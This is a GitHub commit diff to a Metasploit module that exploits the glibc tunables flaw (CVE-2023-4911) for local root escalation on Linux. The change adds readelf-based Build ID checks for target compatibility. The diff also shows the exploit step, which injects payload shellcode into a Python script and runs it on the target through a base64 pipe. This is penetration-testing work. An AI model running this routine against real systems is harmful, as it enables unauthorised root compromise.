Skip to content

Commit

Permalink
Land #18632, Add improvements to glibc tunables
Browse files Browse the repository at this point in the history
This PR adds improvements to the glibc tunables module. In the
event the file command is not present on the target the module
will try to use the readelf command in order to get the ld.so
BuildID to determine whether or not the target is compatible with
exploit.
  • Loading branch information
jheysel-r7 committed Dec 28, 2023
2 parents e9df845 + fc66cd1 commit 63eb5f2
Showing 1 changed file with 42 additions and 8 deletions.
50 changes: 42 additions & 8 deletions modules/exploits/linux/local/glibc_tunables_priv_esc.rb
Original file line number Diff line number Diff line change
Expand Up @@ -89,7 +89,7 @@ def initialize(info = {})
])
end

def find_exec_program
def find_python
%w[python python3].select(&method(:command_exists?)).first
rescue StandardError => e
fail_with(Failure::Unknown, "An error occurred finding a version of python to use: #{e.message}")
Expand Down Expand Up @@ -124,10 +124,45 @@ def check

def check_ld_so_build_id
# Check to ensure the python exploit has the magic offset defined for the BuildID for ld.so
if !command_exists?('file')
print_warning('Unable to locate the `file` command ti order to verify the BuildID for ld.so, the exploit has a chance of being incompatible with this target.')
return
if command_exists?('file')
check_ld_so_build_id_file
elsif command_exists?('readelf')
check_ld_so_build_id_readelf
else
print_warning('Unable to locate the commands to verify the BuildID for ld.so.')
end
end

def check_ld_so_build_id_readelf
file_cmd_output = ''

# This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not
# defined on the path like it is on Debian. Also Ubuntu doesn't have ldconfig install by default.
sysinfo = get_sysinfo
case sysinfo[:distro]
when 'ubuntu'
if command_exists?('ldconfig')
file_cmd_output = cmd_exec('readelf -a $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*") | grep "Build ID"')
end
when 'debian'
file_cmd_output = cmd_exec('readelf -a "$(readlink -f "$(command -v ld.so)")"| grep "Build ID"')
else
fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution')
end

if file_cmd_output =~ /Build ID: (\w+)$/
build_id = Regexp.last_match(1)
if BUILD_IDS.keys.include?(build_id)
print_good("The Build ID for ld.so: #{build_id} is in the list of supported Build IDs for the exploit.")
else
fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.")
end
else
print_warning('Unable to verify the BuildID for ld.so via `readelf`, the exploit has a chance of being incompatible with this target.')
end
end

def check_ld_so_build_id_file
file_cmd_output = ''

# This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not
Expand All @@ -152,27 +187,26 @@ def check_ld_so_build_id
fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.")
end
else
print_warning('Unable to verify the BuildID for ld.so, the exploit has a chance of being incompatible with this target.')
print_warning('Unable to verify the BuildID for ld.so via `file`, the exploit has a chance of being incompatible with this target.')
end
end

def exploit
fail_with(Failure::BadConfig, 'Session already has root privileges') if is_root?

python_binary = find_exec_program
python_binary = find_python
fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary
vprint_status("Using '#{python_binary}' to run the exploit")

check_ld_so_build_id

# The python script assumes the working directory is the one we can write to.
cd(datastore['WritableDir'])
shell_code = payload.encoded.unpack('H*').first

exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py')
exploit_data = exploit_data.gsub('METASPLOIT_SHELL_CODE', shell_code)
exploit_data = exploit_data.gsub('METASPLOIT_BUILD_IDS', BUILD_IDS.to_s.gsub('=>', ':'))

vprint_status('All good let\'s go.')
# If there is no response from cmd_exec after the brief 15s timeout, this indicates exploit is running successfully
output = cmd_exec("echo #{Rex::Text.encode_base64(exploit_data)} |base64 -d | #{python_binary}")
if output.blank?
Expand Down

0 comments on commit 63eb5f2

Please sign in to comment.